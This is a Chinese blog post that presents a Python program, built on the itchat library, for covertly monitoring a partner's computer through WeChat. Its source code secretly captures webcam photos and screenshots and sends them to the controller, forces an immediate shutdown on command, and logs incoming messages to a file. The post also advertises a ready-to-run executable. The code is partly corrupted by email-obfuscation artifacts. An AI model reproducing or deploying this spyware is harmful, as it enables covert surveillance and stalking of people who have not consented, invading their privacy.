1. 程式人生 > >微信遠端監控男友上網在幹啥

微信遠端監控男友上網在幹啥

 

今天給大家介紹一個實用又具備惡搞能力的python程式。

興趣是最好的老師,我為什麼在寫python,很大一部分原因是因為python能寫出很多有意思好玩的東西。

 

我們先看下這個程式能實現什麼樣的效果。

 

 

 

這個程式目前主要有兩個功能,一個是攝像頭拍照和電腦螢幕截圖,回覆數字 1 即可控制電腦開啟攝像頭自動為電腦使用者拍照,同時可以自動擷取當前電腦螢幕,並且會把兩張圖片傳送到你的微信上,這樣就可以看到你的電腦使用者(可以是男朋友)在幹什麼了。還有一個實用功能就是電腦關機,回覆數字 2 即可強制電腦立即關機,關於這個功能大家要慎用,具體使用場景大家可以自由發揮,但由此帶來的不良後果本程式概不負責哈,特此宣告。

 

不知道大家有沒有感覺到很神奇,對我來說這就是python的魅力所在,下面再來簡單說下這個python程式的實現原理。這個程式主要是利用了一個python第三方庫itchat,itchat是一個關於微信操作的庫,很多微信機器人都用了類似的庫,itchat能把微信使用者輸入的東西傳給這個python程式,然後這個python程式接收到微信使用者資訊後再對咱們的電腦執行相應的命令,這就是這個python程式的實現流程。

 

其實這個程式的程式碼也很簡單,下面是這個python程式的原始碼,當然,為了讓大家能快速體驗這個python程式,我特意將python程式打包成了一個可直接執行的程式,大家在公眾號後臺回覆 002 即可下載該程式,下載到電腦後,直接雙擊即可執行,執行後會彈出微信登入二維碼,大家可放心掃碼登入即可,登入成功後即可在微信上控制電腦了。

 

import itchat
import os
import time
import cv2
from PIL import ImageGrab

sendMsg = u"{訊息助手}:暫時無法回覆"
usageMsg = u"使用方法:\n回覆 1 電腦螢幕自動截圖和給電腦使用者拍照,並且傳送照片到微信。\n" \
           u"回覆 2 電腦關機 \n" 
flag = 0 #訊息助手開關
nowTime = time.localtime()
filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"
myfile = open(filename, 'w')

@itchat.msg_register('Text')
def text_reply(msg):
    global flag
    message = msg['Text']
    fromName = msg['FromUserName']
    toName = msg['ToUserName']

    if toName == "filehelper":
        if message == "1":
            cap = cv2.VideoCapture(0)
            ret, img = cap.read()
            cv2.imwrite("weixinTemp.jpg", img)
            itchat.send('@
[email protected]
%s'%u'weixinTemp.jpg', 'filehelper')             cap.release()             #電腦螢幕截圖             screen = ImageGrab.grab()             screen.save('./screenShot.png','png')             itchat.send('@[email protected]%s'%u'screenShot.png', 'filehelper')         if message == "2":             os.system('shutdown -s -t 0')     elif flag == 1:         itchat.send(sendMsg, fromName)         myfile.write(message)         myfile.write("\n")         myfile.flush() if __name__ == '__main__':     itchat.auto_login()     itchat.send(usageMsg, "filehelper")     itchat.run()

 

在公眾號後臺回覆 002 即可下載可直接執行的程式,程式名字叫wechatControl.exe。